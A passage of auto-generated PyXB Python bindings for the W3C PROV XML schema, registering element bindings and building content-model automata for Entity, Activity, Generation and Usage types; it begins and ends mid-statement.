location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 563, 1)) Namespace.addCategoryObject('elementBinding', hadDictionaryMember.name().localName(), hadDictionaryMember) derivedByInsertionFrom = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'derivedByInsertionFrom'), Insertion, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 579, 1)) Namespace.addCategoryObject('elementBinding', derivedByInsertionFrom.name().localName(), derivedByInsertionFrom) derivedByRemovalFrom = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'derivedByRemovalFrom'), Removal, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 595, 1)) Namespace.addCategoryObject('elementBinding', derivedByRemovalFrom.name().localName(), derivedByRemovalFrom) document = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'document'), Document, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 648, 2)) Namespace.addCategoryObject('elementBinding', document.name().localName(), document) others = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'others'), Others, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 661, 3)) Namespace.addCategoryObject('elementBinding', others.name().localName(), others) role = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'role'), Role, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2)) Namespace.addCategoryObject('elementBinding', role.name().localName(), role) type = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2)) Namespace.addCategoryObject('elementBinding', type.name().localName(), type) location = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'location'), Location, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2)) Namespace.addCategoryObject('elementBinding', location.name().localName(), location) value = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'value'), Value, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 425, 2)) Namespace.addCategoryObject('elementBinding', value.name().localName(), value) wasRevisionOf = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasRevisionOf'), Revision, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 487, 2)) Namespace.addCategoryObject('elementBinding', wasRevisionOf.name().localName(), wasRevisionOf) wasQuotedFrom = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasQuotedFrom'), Quotation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 488, 2)) Namespace.addCategoryObject('elementBinding', wasQuotedFrom.name().localName(), wasQuotedFrom) hadPrimarySource = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'hadPrimarySource'), PrimarySource, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 489, 2)) Namespace.addCategoryObject('elementBinding', hadPrimarySource.name().localName(), hadPrimarySource) person = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'person'), Person, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 494, 2)) Namespace.addCategoryObject('elementBinding', person.name().localName(), person) organization = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'organization'), Organization, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 495, 2)) Namespace.addCategoryObject('elementBinding', organization.name().localName(), organization) softwareAgent = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'softwareAgent'), SoftwareAgent, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 496, 2)) Namespace.addCategoryObject('elementBinding', softwareAgent.name().localName(), softwareAgent) bundle = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'bundle'), Bundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 504, 2)) Namespace.addCategoryObject('elementBinding', bundle.name().localName(), bundle) collection = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'collection'), Collection, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 511, 2)) Namespace.addCategoryObject('elementBinding', collection.name().localName(), collection) plan = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'plan'), Plan, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 516, 2)) Namespace.addCategoryObject('elementBinding', plan.name().localName(), plan) emptyCollection = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'emptyCollection'), EmptyCollection, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 512, 2)) Namespace.addCategoryObject('elementBinding', emptyCollection.name().localName(), emptyCollection) dictionary = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'dictionary'), Dictionary, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 532, 1)) Namespace.addCategoryObject('elementBinding', dictionary.name().localName(), dictionary) emptyDictionary = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'emptyDictionary'), EmptyDictionary, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 542, 1)) Namespace.addCategoryObject('elementBinding', emptyDictionary.name().localName(), emptyDictionary) Entity._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Entity, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Entity._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Entity, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) Entity._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'location'), Location, scope=Entity, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2))) Entity._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'value'), Value, scope=Entity, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 425, 2))) def _BuildAutomaton (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton del _BuildAutomaton import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Entity._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Entity._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Entity._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Entity._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_skip, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True) ])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Entity._Automaton = _BuildAutomaton() Activity._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'startTime'), pyxb.binding.datatypes.dateTime, scope=Activity, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 42, 6))) Activity._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'endTime'), pyxb.binding.datatypes.dateTime, scope=Activity, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 43, 6))) Activity._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Activity, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Activity._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Activity, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) Activity._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'location'), Location, scope=Activity, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2))) def _BuildAutomaton_ (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_ del _BuildAutomaton_ import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 42, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 43, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 44, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 45, 6)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 46, 6)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 47, 6)) counters.add(cc_5) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Activity._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'startTime')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 42, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Activity._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'endTime')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 43, 6)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Activity._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 44, 6)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Activity._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 45, 6)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Activity._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 46, 6)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 47, 6)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True) ])) st_5._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Activity._Automaton = _BuildAutomaton_() Generation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'entity'), IDRef, scope=Generation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 55, 6))) Generation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'activity'), IDRef, scope=Generation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 56, 6))) Generation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'time'), pyxb.binding.datatypes.dateTime, scope=Generation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 57, 6))) Generation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Generation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Generation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'role'), Role, scope=Generation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2))) Generation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Generation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) Generation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'location'), Location, scope=Generation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2))) def _BuildAutomaton_2 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_2 del _BuildAutomaton_2 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 56, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 57, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 58, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 59, 6)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 60, 6)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 61, 6)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 63, 6)) counters.add(cc_6) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(Generation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'entity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 55, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Generation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'activity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 56, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Generation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'time')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 57, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Generation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 58, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Generation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 59, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Generation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 60, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(Generation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'role')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 61, 6)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 63, 6)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, True) ])) st_7._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Generation._Automaton = _BuildAutomaton_2() Usage._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'activity'), IDRef, scope=Usage, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 70, 6))) Usage._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'entity'), IDRef, scope=Usage, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 71, 6))) Usage._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'time'), pyxb.binding.datatypes.dateTime, scope=Usage, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 72, 6))) Usage._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Usage, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Usage._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'role'), Role, scope=Usage, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2))) Usage._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Usage, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) Usage._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'location'), Location, scope=Usage, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2))) def _BuildAutomaton_3 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_3 del _BuildAutomaton_3 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, 